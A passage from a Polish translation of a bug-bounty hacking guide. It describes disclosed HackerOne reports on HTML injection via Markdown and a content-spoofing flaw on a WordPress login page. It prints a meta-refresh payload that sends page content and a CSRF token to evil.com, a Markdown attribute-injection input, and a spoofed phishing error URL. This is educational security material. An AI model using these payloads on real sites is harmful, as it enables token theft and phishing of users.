Na tropie błędów. Przewodnik hakerski. Peter Yaworski
Читать онлайн книгу.tagu <meta>), mógłby wykorzystać przetwarzanie HTML-a w przeglądarce do modyfikacji zawartości strony. Powodem jest to, że tagi <meta> wymuszają na przeglądarkach odświeżanie strony przez adres URL zdefiniowany w atrybucie content w środku znacznika. Podczas renderowania strony przeglądarka wykona zapytanie GET do podanego adresu URL. Zawartość strony może zostać wysłana w postaci parametru żądania GET, co atakujący może wykorzystać, aby wydobyć dane ofiary. Poniżej zobaczysz przykład, jak mógłby wyglądać złośliwy tag <meta> ze wstrzykniętym cudzysłowem:
<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=
0 określa jak długo przeglądarka będzie czekać przed wykonaniem żądania HTTP na wskazany URL. W tym przypadku przeglądarka wykona zapytanie do https://evil.com/log.php?text= od razu. Żądanie HTTP dołączyłoby całą zawartość między pojedynczym cudzysłowem na początku atrybutu content a drugim cudzysłowem dodanym przez atakującego przy użyciu edytora Markdown na stronie. Oto przykład:
<html>
<head>
<meta http-equiv="refresh" content=
'0; url=https://evil.com/log.php?text=</head>
<body>
<h1>Some content</h1>
--cięcie–
<input type="hidden" name="csrf- token" value= "ab34513cdfe123ad1f">
–-cięcie--
<p>wejście atakującego '
</p>--cięcie–
</body>
</html>
Zawartość strony od pierwszego cudzysłowu po atrybucie content w
do wpisanego przez atakującego cudzysłowu w zostałaby wysłana do atakującego jako część parametru text w adresie URL. Dodatkowo zostałby dołączony token CSRF z ukrytego formularza.Dla HackerOne zagrożenie ze strony HTML injection nie byłoby problemem, ponieważ do wyświetlania dokumentów HTML używa frameworka React. React to biblioteka Facebooka stworzona do dynamicznej aktualizacji strony, bez potrzeby przeładowywania jej całej. Kolejną zaletą korzystania z Reacta jest to, że framework pominie cały kod HTML, chyba że w kodzie JavaScript zostanie użyta funkcja dangeroslySetInnerHTML do bezpośredniej aktualizacji DOM-a i renderowania dokumentu HTML (DOM to API dla dokumentów HTML i XML, które pozwala deweloperom na modyfikowanie struktury, wyglądu i zawartości witryny przez JavaScript). Jak się okazuje, serwis HackerOne korzystał z dangeroslySetInnerHTML, ponieważ ufał pochodzeniu kodu HTML, który otrzymywał ze swoich serwerów; tym samym dodawał kod HTML bezpośrednio do DOM-a.
Mimo że De Ceukelaire nie potrafił wykorzystać tej podatności, udało mu się zidentyfikować strony, na których mógł dodać cudzysłów, dzięki czemu HackerOne wyświetlał token CSRF. Teoretycznie więc, jeśli HackerOne kiedykolwiek zmieniłby kod tak, że atakujący byłby w stanie dodać kolejny cudzysłów w tagu <meta> na tej samej stronie, mógłby wykraść token ofiary i wykonać atak CSRF.
Wnioski
Zrozumienie niuansów tego, jak przeglądarki renderują HTML i reagują na niektóre znaczniki HTML otwiera nowe możliwości ataku. Co prawda nie wszystkie programy zaakceptują zgłoszenia o potencjalnych możliwościach ataków, jednak ta wiedza będzie Ci pomocna w poszukiwaniu innych podatności. Badacz FileDescriptor w świetny sposób wyjaśnił exploit z użyciem tagu <meta> na https://blog.innerht.ml/csp-2015/#contentexfiltration, co bardzo polecam Ci sprawdzić.
Dodanie kodu HTML w serwisie HackerOne – część 2
Poziom trudności: Średni
URL: https://hackerone.com/reports/
Źródło: https://hackerone.com/reports/112935/
Data zgłoszenia: 26 stycznia 2016
Nagroda: 500 $
Kiedy organizacja rozwiązuje zgłoszenie i tworzy poprawkę dla znalezionej podatności, nie zawsze może ona okazać się wolna od błędów. Po przeczytaniu raportu De Ceukelaire’a postanowiłem sprawdzić, jak po naprawie edytor Markdown wyświetlał nieoczekiwane wejście. W tym celu przesłałem następujący tekst:
[test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"")
Pamiętaj, że w celu utworzenia znacznika kotwicy w Markdownie powinieneś podać adres URL i atrybut title otoczony podwójnym cudzysłowem w nawiasie. By przetworzyć atrybut title, Markdowna musi śledzić otwierający cudzysłów, następującą zawartość i zamykający cudzysłów.
Byłem ciekaw, czy jestem w stanie zmylić Markdowna dodatkowymi cudzysłowami i atrybutami, dzięki czemu również będzie je śledzić. Z tego powodu dodałem ismap= (prawidłowy atrybut HTML), yyy= (nieprawidłowy atrybut HTML) i dodatkowe cudzysłowy. Po wysłaniu wejścia edytor Markdown przetworzył kod w następujący HTML:
<a title="test" ismap="alert xss" yyy="test" ref="http://www. toronotwebsitedeveloper.com">test</a>
Zauważ, że poprawka z raportu De Ceukelaire’a omyłkowo utworzyła inny błąd, który pozwalał generować dowolny HTML przez parser Markdowna. Mimo że nie mogłem od razu zgłosić tego błędu, pomyślne dodanie HTML-a było wystarczającym dowodem dla serwisu HackerOne na odwrócenie poprzedniej poprawki i naprawę inną metodą. Możliwość dodania dowolnego kodu HTML mogło skutkować kolejnymi podatnościami, dlatego serwis nagrodził mnie wypłatą 500 $.
Wnioski
Aktualizacja kodu nie zawsze oznacza naprawę wszystkich podatności. Nie zapominaj sprawdzać zmian i bądź w tym czujny. Wdrożenie poprawki oznacza nowy kod, który może zawierać błędy.
Content spoofing w Within Security
Poziom trudności: Niski
URL: https://withinsecurity.com/wp-login.php
Źródło: https://hackerone.com/reports/111094/
Data zgłoszenia: 16 stycznia 2016
Nagroda: 250 $
Within Security to strona należąca do HackerOne, przeznaczona do dzielenia się nowościami ze świata bezpieczeństwa. Została zbudowana na Wordpressie i zawierała standardową ścieżkę logowania na stronie withinsecurity.com/wp-login.php. Haker dostrzegł, że podczas procesu logowania, w razie błędu Within Security wyświetlał wiadomość access_denied, która odpowiadała parametrowi error w adresie:
https://withinsecurity.com/wp- login.php?error=access_denied
Widząc to, haker spróbował zmienić wartość tego parametru. W rezultacie strona wyświetlała wartości przekazane do parametru jako część wiadomości o błędzie, a nawet dekodowała znaki URI. Tak wygląda zmodyfikowany URL, którego użył haker:
https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20been%20hacked%2C%20Please%20call%20us%20this%20number%20919876543210%20OR%20Drop%20mail%20at%20attacker%40mail.com&state=cb04a91ac5%257Cht tps%253A%252F%252Fwithinsecurity.com%252Fwp-admin%252F#
Parametr